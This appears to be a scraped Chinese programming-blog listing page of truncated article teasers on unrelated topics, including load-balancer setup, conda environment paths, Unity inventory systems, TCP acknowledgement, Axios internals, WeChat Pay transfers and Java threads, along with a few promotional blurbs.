1.选择虚拟服务器组》创建虚拟服务器组 2.点击创建虚拟服务器组》输入虚拟服务器组名称&#xff0c;注意&#xff1a;不要添加服务器&#xff0c;直接点击创建 3.在点击创建虚拟服务器组》输入虚拟服务器组名称》添加服务器&#xff08;后端服务器&#xff09;》创建 1.添加监…

WhatsOnChain中的sCrypt合约验证插件

我们很高兴地宣布在 WhatsOnChain 上集成了 sCrypt 智能合约验证插件。该插件允许任何人为已部署的智能合约提交和验证 sCrypt 代码。 智能合约验证 在与智能合约交互之前&#xff0c;用户需要确保智能合约按照其声称的方式行事。理论上&#xff0c;每个人都可以查看合约并验…

脸鉴AI开放平台:轻松上手的人工智能算法

序言 一、提升开发效率工具 1.1封装view窗口 1.2封装常用功能接口 1.3提供基础接口代码块 二、使用介绍 2.1 注册&登录 2.2 新建应用 2.3 下载应用 2.4 安装包介绍 2.5 demo项目 2.6 配置demo 2.7 运行demo 三、使用结果 3.1 摄像头采集人脸添加模板 3.2 实时画面1:N人脸检…

出现 conda虚拟环境默认放在C盘 解决方法

目录 1. 问题所示2. 原理分析3. 解决方法3.1 方法一3.2 方法二1. 问题所示 通过conda配置虚拟环境的时候,由于安装在D盘下,但是配置的环境默认都给我放C盘 通过如下命令:conda env list,最后查看该环境的确在C盘下 2. 原理分析 究其根本原因,这是因为默认路径没有足够的…

c#用Gnuplot画图源码

直接调用这个类即可&#xff0c;需要下载个GnuPlot安装下。 // Author: Leonardo Tazziniusing System; using System.Diagnostics; using System.Drawing; using System.IO; using System.Windows.Forms;/// <summary> /// Tested with Gnuplot 5.2 /// </summary&g…

【Unity实战】从零手戳一个库存背包系统

文章目录 前言素材开始一、绘制背包UI二、背包开启关闭三、初始化背包网格四、 添加物品五、 拖拽交换功能物品六、 物品拆分七、 物品堆叠八、 拖拽还原九、 引入字典存储数据十、 拾取物品十一、 丢弃物品 最终效果源码完结 前言 库存背包系统是大多数游戏的关键部分&#x…

富金通管理U盾不轻松,用了USB Server如沐清风

富金通网络科技服务有限公司是一家专注于金融科技服务的公司&#xff0c;因为拥有多个银行账户&#xff0c;也就有了U盾数量过多、管理极为不便的问题&#xff0c;具体表现为易丢失、易损坏、操作繁琐、需要插拔、不便携带、威胁金融安全等。 近期&#xff0c;朝天椒USB Serve…

【TCP】确认应答 与 超时重传

确认应答 与 超时重传 一. 确认应答机制二. 超时重传机制 一. 确认应答机制 确认应答: 保障可靠传输的核心机制。 可靠传输: 不是指传输过去的数据不出错, 也不是指数据一定能传输过去&#xff0c;而是指发送方能够知道接收方是否接收到了数据。确认应答的关键就是接收方收到数…

java:asm实现ResultSet结果映射到实体类

java&#xff1a;asm实现ResultSet结果映射到实体类 1 前言 Spring-core包中提供了许多方便的工具类&#xff0c;其中org.springframework.cglib.beans下的BeanCopier工具类&#xff0c;主要用于bean之间的属性拷贝&#xff0c;性能上优于Spring-beans包下的org.springframew…

面试官:你了解Axios的原理吗?有看过它的源码吗?

&#x1f3ac; 岸边的风&#xff1a;个人主页 &#x1f525; 个人专栏 :《 VUE 》 《 javaScript 》 ⛺️ 生活的理想&#xff0c;就是为了理想的生活 ! 目录 一、axios的使用 二、实现一个简易版axios 三、源码分析 小结 一、axios的使用 关于axios的基本使用&#xff0…

暨南大学旅游管理《乡村振兴战略下传统村落文化旅游设计》校友许少辉—2023学生开学季辉少许

暨南大学旅游管理《乡村振兴战略下传统村落文化旅游设计》校友许少辉——2023学生开学季辉少许

软文发布是推动企业发展的无形动力 | 媒介启航

同样是销售产品&#xff0c;为什么以故事的形式呈现要比直接讲产品功效更易让消费者认同和销售呢&#xff1f;这就是软文的魅力&#xff0c;它极好的运用了人作为情感动物的喜好。因此&#xff0c;各大小企业纷纷做软文&#xff0c;比如溯源啊、初心啊、情怀啊、创业经历啊等等…

Java集成微信支付实现企业付款到零钱和商家转账到零钱的功能

Java集成微信支付实现企业付款到零钱和商家转账到零钱的功能 文章目录 [toc] 1.企业付款到零钱和商家转账到零钱的区别1.1 申请要求不同1.2 API接口不同1.3 用户收款限制1.4 商户付款额度1.5 派发方式不同1.6 打款方式不同 2.集成实现2.1 v2版本集成2.2 依赖2.3 配置2.3.1 naco…

java多线程学习笔记一

一、线程的概述 1.1 线程的相关概念 1.1.1 进程&#xff08;Process&#xff09; 进程&#xff08;Process&#xff09;是计算机的程序关于某数据集合上的一次运行活动&#xff0c;是操作系统进行资源分配与调度的基本单位。 可以把进程简单的理解为操作系统中正在有运行的一…